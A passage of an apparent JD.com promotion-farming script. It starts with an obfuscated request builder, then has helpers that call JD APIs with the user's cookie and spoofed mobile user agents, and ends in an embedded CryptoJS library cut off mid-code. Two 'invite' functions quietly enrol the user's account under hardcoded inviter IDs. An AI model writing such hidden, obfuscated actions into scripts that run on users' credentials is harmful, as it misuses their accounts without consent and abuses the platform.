{url:`${__Oxb24bc[0x8]}${JD_API_HOST}${__Oxb24bc[0x9]}${_0x7683x2}${__Oxb24bc[0xa]}${escape(JSON[__Oxb24bc[0x1]](_0x7683x3))}${__Oxb24bc[0xb]}${_0x7683x4}${__Oxb24bc[0xc]}${_0x7683x8}${__Oxb24bc[0x8]}`,headers:{'\x48\x6F\x73\x74':__Oxb24bc[0xd],'\x61\x63\x63\x65\x70\x74':__Oxb24bc[0xe],'\x6B\x65\x72\x6E\x65\x6C\x70\x6C\x61\x74\x66\x6F\x72\x6D':__Oxb24bc[0xf],'\x75\x73\x65\x72\x2D\x61\x67\x65\x6E\x74':__Oxb24bc[0x10],'\x61\x63\x63\x65\x70\x74\x2D\x6C\x61\x6E\x67\x75\x61\x67\x65':__Oxb24bc[0x11],'\x43\x6F\x6F\x6B\x69\x65':cookie}}}(function(_0x7683x9,_0x7683xa,_0x7683xb,_0x7683xc,_0x7683xd,_0x7683xe){_0x7683xe= __Oxb24bc[0x12];_0x7683xc= function(_0x7683xf){if( typeof alert!== _0x7683xe){alert(_0x7683xf)};if( typeof console!== _0x7683xe){console[__Oxb24bc[0x13]](_0x7683xf)}};_0x7683xb= function(_0x7683x7,_0x7683x9){return _0x7683x7+ _0x7683x9};_0x7683xd= _0x7683xb(__Oxb24bc[0x14],_0x7683xb(_0x7683xb(__Oxb24bc[0x15],__Oxb24bc[0x16]),__Oxb24bc[0x17]));try{_0x7683x9= __encode;if(!( typeof _0x7683x9!== _0x7683xe&& _0x7683x9=== _0x7683xb(__Oxb24bc[0x18],__Oxb24bc[0x19]))){_0x7683xc(_0x7683xd)}}catch(e){_0x7683xc(_0x7683xd)}})({}) + +function taskGetUrl(function_id, body) { + return { + url: `https://api.m.jd.com/?appid=activities_platform&functionId=${function_id}&body=${escape(JSON.stringify(body))}&t=${+new Date()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded", + "referer": "https://an.jd.com/babelDiy/Zeus/q1eB6WUB8oC4eH1BsCLWvQakVsX/index.html" + } + } +} + +function invite2() { + let inviterIdArr = [ + "5V7vHE23qh2EkdBHXRFDuA==", + "wXX9SjXOdYMWe5Ru/1+x9A==", + "jbGBRBPo5DmwB9ntTCSVOGXuh1YQyccCuZpWwb3PlIc=" + ] + let inviterId = inviterIdArr[Math.floor((Math.random() * inviterIdArr.length))] + let options = { + url: "https://api.m.jd.com/", + body: `functionId=TaskInviteService&body=${JSON.stringify({"method":"participateInviteTask","data":{"channel":"1","encryptionInviterPin":encodeURIComponent(inviterId),"type":1}})}&appid=market-task-h5&uuid=&_t=${Date.now()}`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://assignment.jd.com", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "User-Agent": $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://assignment.jd.com/", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.post(options, (err, resp, data) => { + // console.log(data) + }) +} + +function invite() { + let t = +new Date() + let inviterIdArr = [ + "5V7vHE23qh2EkdBHXRFDuA==", + "wXX9SjXOdYMWe5Ru/1+x9A==", + "jbGBRBPo5DmwB9ntTCSVOGXuh1YQyccCuZpWwb3PlIc=" + ] + let inviterId = inviterIdArr[Math.floor((Math.random() * inviterIdArr.length))] + let options = { + url: `https://api.m.jd.com/?t=${t}`, + body: `functionId=InviteFriendChangeAssertsService&body=${JSON.stringify({"method":"attendInviteActivity","data":{"inviterPin":encodeURIComponent(inviterId),"channel":1,"token":"","frontendInitStatus":""}})}&referer=-1&eid=eidI9b2981202fsec83iRW1nTsOVzCocWda3YHPN471AY78%2FQBhYbXeWtdg%2F3TCtVTMrE1JjM8Sqt8f2TqF1Z5P%2FRPGlzA1dERP0Z5bLWdq5N5B2VbBO&aid=&client=ios&clientVersion=14.4.2&networkType=wifi&fp=-1&uuid=ab048084b47df24880613326feffdf7eee471488&osVersion=14.4.2&d_brand=iPhone&d_model=iPhone10,2&agent=-1&pageClickKey=-1&platform=3&lang=zh_CN&appid=market-task-h5&_t=${t}`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Content-type": "application/x-www-form-urlencoded", + "Origin": "https://invite-reward.jd.com", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "User-Agent": $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": 'https://invite-reward.jd.com/', + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.post(options, (err, resp, data) => { + // console.log(data) + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: 